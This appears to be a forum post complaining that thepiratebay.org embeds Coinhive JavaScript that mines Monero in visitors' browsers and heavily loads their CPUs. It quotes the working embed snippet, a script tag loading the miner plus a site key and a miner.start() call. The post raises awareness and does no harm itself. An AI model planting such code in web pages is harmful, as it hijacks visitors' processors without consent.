thepiratebay.org (as an example) has been using coin-hive.com to make visitors mine Monero cryptocurrency.

Example URL:

Code: Select all

https://thepiratebay.org/user/extremezone/

Code: Select all

<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('xP9YtM7sFtCRhh1H2SJGWl60Z0BgbpHy', { throttle: 0.2 });
miner.start();
</script>

coinhive.com/lib/coinhive.min.js

A javascript starting to get popular on sites now where it mines the currency "XMR" at around 50% processor-usage. Caused me some considerable headache to gather why tf my games where running 40 fps on a 7700K and 1080ti card.
